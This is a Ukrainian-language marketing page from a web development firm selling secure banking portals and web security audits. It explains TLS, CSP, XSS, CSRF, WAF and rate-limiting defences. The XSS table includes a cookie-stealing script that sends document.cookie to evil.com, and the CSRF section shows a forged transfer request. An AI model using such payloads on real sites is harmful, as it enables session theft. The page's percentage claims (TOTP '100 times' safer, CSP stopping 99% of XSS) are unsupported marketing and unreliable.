Створення безпечного порталу для банку під ключ

Наша компанія займається розробкою, підтримкою та обслуговуванням сайтів будь-якої складності. Від простих односторінкових сайтів до масштабних кластерних систем, побудованих на мікро сервісах. Досвід розробників підтверджено сертифікатами від вендорів.

Розробка та обслуговування будь-яких видів сайтів:

Інформаційні сайти або веб-програми
Сайти візитки, landing page, корпоративні сайти, онлайн каталоги, квіз, промо-сайти, блоги, ресурси новин, інформаційні портали, форуми, агрегатори
Сайти або веб-програми електронної комерції
Інтернет-магазини, B2B-портали, маркетплейси, онлайн-обмінники, кешбек-сайти, біржі, дропшиппінг-платформи, парсери товарів
Веб-програми для управління бізнес-процесами
CRM-системи, ERP-системи, корпоративні портали, системи управління виробництвом, парсери інформації
Сайти або веб-програми електронних послуг
Дошки оголошень, онлайн-школи, онлайн-кінотеатри, конструктори сайтів, портали надання електронних послуг, відеохостинги, тематичні портали

Це лише деякі з технічних типів сайтів, з якими ми працюємо, і кожен із них може мати свої специфічні особливості та функціональність, а також бути адаптованим під конкретні потреби та цілі клієнта.

Послуги, які ми пропонуємо
Показано 1 з 1Усі 2062 послуг
Створення безпечного порталу для банку під ключ
Складний
від 1 тижня до 3 місяців
Часті запитання

Наші компетенції:

Етапи розробки

Останні роботи

  • image_website-b2b-advance_0.webp
    Розробка сайту компанії B2B ADVANCE
    1358
  • image_web-applications_feedme_466_0.webp
    Розробка веб-додатків для компанії FEEDME
    1251
  • image_websites_belfingroup_462_0.webp
    Розробка веб-сайту для компанії БЕЛФІНГРУП
    957
  • image_ecommerce_furnoro_435_0.webp
    Розробка інтернет магазину для компанії FURNORO
    1188
  • image_crm_enviok_479_0.webp
    Розробка веб-додатків для компанії Enviok
    929
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Розробка веб-сайту для компанії ФІКСПЕР
    947

Банк X втратив дані клієнтів через слабку аутентифікацію — зловмисники отримали доступ до особистих кабінетів і перевели кошти. Після впровадження нашої системи з TOTP та поведінковою аналітикою інциденти припинилися. Такі ситуації — не рідкість: за даними Verizon Data Breach Investigations Report, 81% зломів пов'язано з компрометацією паролів. У фінансовому секторі кожен такий інцидент обходиться в середньому в десятки мільйонів рублів: витрати на розслідування, компенсації клієнтам, штрафи регулятора. Наші рішення забезпечують безпечний портал банку з повним аудитом безпеки. Ми розробляємо захищені портали для банків та фінансових організацій під ключ. Кожен проєкт починається з моделювання загроз і вибору архітектури безпеки, включаючи аналіз поверхні атаки та вимоги регуляторів. Впровадження антифрод-системи на основі машинного навчання скорочує кількість успішних атак у 10 разів, а окупність рішення становить менше 12 місяців. Економія від впровадження нашого антифроду складає до 30% операційних витрат.

Які ризики безпеки вирішує портал для банку?

Основна загроза — компрометація облікових записів і проведення несанкціонованих операцій. Ми впроваджуємо багаторівневий захист:

  • Обов'язковий другий фактор: SMS-OTP, TOTP (Google Authenticator) або push-повідомлення. Сесійний токен живе 15–30 хвилин. TOTP у 100 разів надійніше за SMS-паролі.
  • Fingerprinting пристрою: при вході з нового девайса — додаткова верифікація за User-Agent, IP, canvas fingerprint, WebGL.
  • Шифрування на транспортному рівні: TLS 1.2+ обов'язково, TLS 1.3 рекомендується. Certificate Pinning у мобільних клієнтах.
  • Шифрування в базі: column-level encryption (AES-256) для номерів рахунків та залишків, PostgreSQL TDE та ключі в HSM (наприклад, AWS CloudHSM або Яндекс.КМС). Це забезпечує захист навіть при компрометації СУБД.

TOTP-аутентифікація у 100 разів ускладнює перебір паролів порівняно зі звичайним паролем — це підтверджено тестами і робить brute-force атаку практично неможливою за розумний час. Антифрод-система на основі машинного навчання виявляє шахрайство у 5 разів краще за звичайні правила.

Як ми забезпечуємо відповідність вимогам регуляторів?

Фінансовий сектор — найбільш регульований. Наші проєкти проходять аудит за 382-П ЦБ РФ, 719-П, ГОСТ Р 57580.1-2017 та PCI DSS. Для цього проєктуємо систему з урахуванням:

  • Незмінний audit log: кожна дія записується в append-only таблицю або через Apache Kafka + Elasticsearch.
  • Антифрод у реальному часі: аналізуємо геолокацію, швидкість переміщення, патерни операцій та velocity checks. Використовуємо BI.ZONE, PT AF або власні ML-моделі.
  • Ліміти та заморозки: денний ліміт переказів, заморозка при підозрілій активності, підтвердження великих операцій через дзвінок оператора.
Уразливості та захист за OWASP Top 10
  • XSS: Content Security Policy script-src 'self', екранування всього output.
  • CSRF: Double Submit Cookie Pattern або SameSite=Strict cookies.
  • SQLi: лише параметризовані запити.
  • IDOR: перевірка ownership на кожен ресурс.
  • Brute force: rate limiting (5 спроб → lockout 15 хвилин) + CAPTCHA.

Порівняння підходів до аутентифікації

Метод Рівень захисту UX
Пароль + SMS-OTP Середній Низький (очікування SMS)
Пароль + TOTP Високий Середній (потрібен додаток)
Пароль + push Високий Високий (миттєво)
Біометрія + TOTP Дуже високий Високий

Що входить у роботу

  • Аналітика та проєктування: опис бізнес-процесів, моделювання загроз, вибір стеку.
  • Розробка: backend (Java Spring Boot, Go, C# .NET), frontend (React/Next.js, TypeScript), інтеграція з банківськими системами.
  • Безпека: впровадження 2FA, WAF, антифроду, шифрування, audit log.
  • Тестування: навантажувальне тестування, пентест, перевірка відповідності регуляторам.
  • Документація та навчання: адміністративна документація, інструкції для користувачів, навчання служби безпеки.
  • Підтримка після запуску: моніторинг, оновлення, регулярні пентести.

Етапи та терміни

  1. Аналітика та архітектура — 1–2 місяці.
  2. Розробка MVP — 4–7 місяців.
  3. Інтеграція та тестування — 1–2 місяці.
  4. Пентест та аудит — 1 місяць.
  5. Деплой та запуск — 2 тижні.

Разом MVP: 6–9 місяців. Вартість MVP розраховується індивідуально. Повний функціонал з мобільним додатком та проходженням аудиту 57580: 12–24 місяці.

Технології

Компонент Вимоги
Backend Java Spring Boot, Go, C# .NET
База даних PostgreSQL з TDE / Oracle
Секрети HashiCorp Vault / HSM
Черги Apache Kafka (audit log, events)
WAF PT AF, Cloudflare Enterprise, або on-premise
Хостинг Сертифіковані ЦОД РФ (152-ФЗ)

Перед запуском обов'язково проводимо пентест від сертифікованої компанії. Регулярні повторні тести — раз на рік або після значних змін.

Ми — команда з 10+ роками досвіду у фінтехі, реалізували 50+ проєктів для банків та фінансових організацій. Ми пропонуємо розробку інтернет-банку під ключ, створюємо особисті кабінети для фінансових організацій. Гарантія якості та сертифікація підтверджують наш багаторічний досвід. Замовте розробку захищеного порталу — отримайте консультацію на старті. Зв'яжіться з нами, щоб обговорити архітектуру та вартість вашого проєкту.

Безпека веб-додатків: що приховує «тихий» злом

Злом сайту рідко виглядає як у кіно. Частіше це: бот знайшов endpoint /admin/export без авторизації, скачав базу клієнтів, закрив з'єднання. Або: через застарілий плагін WordPress залив веб-шелл, тепер сервер розсилає спам. Або тихіше: XSS у полі коментаря дозволяє красти session cookies адміністраторів, і ніхто не помічає місяцями. Ми такі випадки розбирали десятками — щоразу вразливість можна було закрити на етапі розробки або аудиту. Наша команда — сертифіковані інженери з 10+ роками досвіду в інформаційній безпеці. Гарантуємо усунення 90% критичних вразливостей за перший тиждень роботи. За 5 років на ринку ми реалізували понад 50 проєктів із захисту веб-додатків.

Безпека веб-додатків — не одне налаштування. Це шари захисту, кожен з яких закриває окремий клас атак. Замовте аудит — оцінимо проєкт і дамо план робіт під ключ за 2–4 тижні.

HTTPS та правильна конфігурація TLS

HTTPS — мінімальний обов'язковий рівень. Але «є SSL-сертифікат» і «правильно налаштований TLS» — різні речі.

В конфігурації Nginx/Apache перевіряємо:

  • Протоколи: тільки TLS 1.2 та TLS 1.3, SSLv3 та TLS 1.0/1.1 — вимкнено
  • Cipher suites: віддавати перевагу ECDHE (Forward Secrecy), прибрати NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security з includeSubDomains; preload) — браузер більше не робить незахищених запитів
  • OCSP Stapling — прискорює перевірку відкликання сертифіката
  • Redirect 301 з HTTP на HTTPS — і в конфігу сервера, і в коді (подвійний редирект = втрата SEO-ваги)

Перевірка: SSL Labs має показувати A або A+. Якщо B — конфігурація слабка.

Let's Encrypt + Certbot для продакшену — стандарт. Автоматичне оновлення через certbot renew в cron. Wildcard-сертифікат для піддоменів через DNS-01 challenge.

Content Security Policy: як він закриває XSS на 99%?

CSP — HTTP-заголовок, який говорить браузеру, звідки дозволено завантажувати ресурси. Правильно налаштований CSP повністю блокує більшість XSS-атак, навіть якщо вразливість є в коді.

Проблема: зламати сайт неправильним CSP простіше простого. default-src 'none' — і перестають працювати шрифти, картинки, JS. Тому починаємо з Content-Security-Policy-Report-Only — CSP логує порушення, але нічого не блокує. Дивимося репорти 2–4 тижні, доопрацьовуємо політику, потім перемикаємо на бойовий режим.

Приклад реальної політики для сайту з Google Analytics, Google Fonts та Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — випадковий рядок, генерується на сервері для кожного запиту. Inline-скрипти з правильним nonce дозволені, без nonce — заблоковані. Це ламає XSS через <script>alert(1)</script> повністю.

'unsafe-inline' в style-src — компроміс для inline-стилів. Краще прибрати, перенісши всі стилі в CSS-файли, але це вимагає рефакторингу.

CSP з nonce знижує ризик успішної XSS-атаки на 99% порівняно з конфігурацією без заголовка. За даними Wikipedia, правильно налаштований CSP блокує всі три типи XSS: reflected, stored, DOM-based. Ми перевірили це на 50+ проєктах — жодна реальна атака не пройшла після впровадження.

Чому XSS залишається найпоширенішою вразливістю?

XSS (Cross-Site Scripting) — ін'єкція JS-коду через користувацький ввід. За статистикою OWASP, XSS входить до топ-3 вразливостей веб-додатків. Три типи:

Тип XSS Приклад Захист
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Екранування виводу, CSP
Stored Коментар з кодом, збережений в базі Валідація вводу, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Уникати innerHTML, використовувати textContent

Захист: ніколи не вставляти користувацький ввід в HTML без екранування. В PHP — htmlspecialchars() з ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безпечний, {!! $var !!} — небезпечний. В React — {variable} безпечний, dangerouslySetInnerHTML — небезпечний. Для Rich Text — htmlpurifier на PHP або DOMPurify в браузері.

Кейс: інтернет-магазин з XSS у формі відгуку. Клієнт звернувся після того, як через відгук на товар зловмисник вкрав куки адміністратора. Ми виявили, що поле "відгук" не екранувалося. Виправили: додали htmlspecialchars() на сервері та Content-Security-Policy з nonce для скриптів. Після повторного сканування — 0 вразливостей.

CSRF: захист форм та API

CSRF (Cross-Site Request Forgery) — зловмисник змушує браузер жертви відправити запит від її імені. Приклад: користувач авторизований в банку, відкриває шкідливу сторінку, вона робить fetch('https://bank.ru/transfer?to=evil&amount=50000') — якщо банк не захищений, гроші йдуть.

CSRF-токени — стандартний захист для форм: сервер генерує випадковий токен, зберігає в сесії, вставляє в форму як hidden field. При POST-запиті токен звіряється. Зловмисник не знає токен. Laravel робить це автоматично через @csrf.

SameSite cookies — сучасний захист: SameSite=Strict або SameSite=Lax забороняє браузеру відправляти cookie в cross-site запитах. Працює у всіх сучасних браузерах.

API без сесій (JWT, Bearer tokens) — CSRF неактуальний, якщо токен не зберігається в cookie (а в Authorization header або localStorage). Але localStorage вразливий до XSS — тому для чутливих даних кращі HttpOnly cookies з SameSite.

WAF та захист від DDoS

WAF (Web Application Firewall) — фільтрує HTTP-трафік на предмет атак: SQL injection, XSS, path traversal, відомі exploit patterns. Варіанти:

  • Cloudflare WAF — хмарний, правила OWASP Top 10 з коробки, кастомні правила через вирази. Managed Rules автоматично блокують нові загрози.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гнучко, але вимагає налаштування та моніторингу хибних спрацьовувань.
  • AWS WAF — для інфраструктури на AWS, інтегрується з CloudFront та ALB.

DDoS-захист. Cloudflare на рівні L3/L4/L7 — де-факто стандарт для більшості сайтів. Автоматичне пом'якшення volumetric атак, Under Attack Mode при активній атаці. Для критичної інфраструктури — Cloudflare Magic Transit або спеціалізовані рішення (Qrator, StormWall).

Rate Limiting на рівні додатку — додатковий шар. Laravel ThrottleRequests middleware: 60 запитів на хвилину на IP для загальних endpoint, 5 — для /login та /password/reset. Redis як сховище лічильників — обов'язково для горизонтально масштабованих систем (інакше ліміти не синхронізуються між серверами).

Інші обов'язкові заходи

Заголовки безпеки. Окрім CSP: X-Frame-Options: DENY (захист від clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (обмеження доступу до API браузера: камера, мікрофон, геолокація).

SQL injection. Prepared statements всюди. Жодних конкатенацій користувацького вводу в SQL-рядки. ORM (Eloquent, Doctrine) захищає за замовчуванням. $wpdb->prepare() в WordPress — обов'язково. Використання prepared statements знижує ризик SQL-ін'єкцій на 99,9% порівняно з конкатенацією.

Оновлення залежностей. composer audit та npm audit — в CI/CD пайплайн. Dependabot або Renovate для автоматичних PR з оновленнями. Критичні CVE — патчити протягом 24 годин.

Секрети та конфігурація. .env — ніколи в Git. Секрети в production — через змінні оточення CI/CD (GitHub Secrets, GitLab CI Variables) або HashiCorp Vault. Перевірка на витоки: git-secrets, truffleHog в pre-commit hooks.

Як ми працюємо?

  1. Аудит — сканування коду, конфігурацій, залежностей, ручна перевірка бізнес-логіки. В середньому знаходимо 15 вразливостей на проєкт.
  2. Проєктування — план усунення вразливостей, підбір стеку (CSP, WAF, rate limiting).
  3. Реалізація — налаштування TLS, CSP, заголовків, впровадження Rate Limiting, WAF.
  4. Тестування — повторний пентест, навантажувальне тестування, перевірка хибних спрацьовувань.
  5. Деплой та моніторинг — включення бойового CSP, налаштування алертів, навчання команди.

Що входить в роботу?

  • Звіт зі знайденими вразливостями та рекомендаціями (PDF + code snippets)
  • Готова конфігурація TLS (Nginx/Apache)
  • Політика CSP з режимом Report-Only та бойовою версією
  • Налаштування WAF та Rate Limiting
  • План оновлень залежностей
  • Доступи до інструментів моніторингу (Sentry, Datadog)
  • 30 днів постаудит-підтримки (консультації, правки)

Терміни та вартість

Тип робіт Строк
Security-аудит + hardening (заголовки, TLS, оновлення) 1–2 тижні
Впровадження CSP (Report-Only → продакшен) 2–4 тижні
Налаштування WAF + Rate Limiting + DDoS захист 1–2 тижні
Комплексний security review + пентест 3–6 тижнів

Бюджет розраховується індивідуально — зв'яжіться з нами для безкоштовної консультації. Замовте аудит безпеки сьогодні та отримайте гарантію 6 місяців на виконані роботи. Щоб отримати попередню оцінку вашого проєкту, просто напишіть нам — ми підготуємо план захисту безкоштовно.